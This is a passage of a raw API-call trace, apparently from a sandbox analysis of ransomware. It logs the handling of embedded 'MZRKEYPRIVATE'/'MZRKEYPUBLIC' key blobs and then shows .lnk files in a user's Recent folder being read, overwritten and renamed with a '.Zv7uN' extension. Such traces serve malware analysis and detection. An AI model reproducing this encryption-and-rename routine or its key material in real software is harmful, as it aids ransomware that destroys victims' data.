HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UEeyhCQ0rsUi-3-nJSm.lnk", dwFileAttributes=0x80) returned 1 [0083.762] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0083.762] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0083.764] GetCurrentThreadId () returned 0xa30 [0083.764] GetCurrentThreadId () returned 0xa30 [0083.764] GetCurrentThreadId () returned 0xa30 [0083.764] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0083.764] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0083.765] GetCurrentThreadId () returned 0xa30 [0083.765] GetCurrentThreadId () returned 0xa30 [0083.765] GetCurrentThreadId () returned 0xa30 [0083.765] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UEeyhCQ0rsUi-3-nJSm.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ueeyhcq0rsui-3-njsm.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0083.765] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0083.765] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0083.765] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x270 [0083.765] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0083.766] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x270, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x270, lpOverlapped=0x0) returned 1 [0083.767] CloseHandle (hObject=0x124) returned 1 [0083.767] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UEeyhCQ0rsUi-3-nJSm.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ueeyhcq0rsui-3-njsm.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0083.769] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x270, lpOverlapped=0x0) returned 1 [0083.771] CloseHandle (hObject=0x124) returned 1 [0083.779] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UEeyhCQ0rsUi-3-nJSm.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ueeyhcq0rsui-3-njsm.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UEeyhCQ0rsUi-3-nJSm.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ueeyhcq0rsui-3-njsm.lnk.zv7un")) returned 1 [0083.781] GetCurrentThreadId () returned 0xa30 [0083.781] GetCurrentThreadId () returned 0xa30 [0083.781] GetCurrentThreadId () returned 0xa30 [0083.781] GetCurrentThreadId () returned 0xa30 [0083.781] GetCurrentThreadId () returned 0xa30 [0083.781] GetCurrentThreadId () returned 0xa30 [0083.781] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe18c7a00, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2677880, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2677880, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1992, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="UlHqKtcLSUiNQM.lnk", cAlternateFileName="ULHQKT~1.LNK")) returned 1 [0083.781] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0083.781] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0083.781] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UlHqKtcLSUiNQM.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ulhqktclsuinqm.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe18c7a00, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2677880, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2677880, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1992)) returned 1 [0083.782] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UlHqKtcLSUiNQM.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ulhqktclsuinqm.lnk")) returned 0x20 [0083.782] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UlHqKtcLSUiNQM.lnk", dwFileAttributes=0x80) returned 1 [0083.784] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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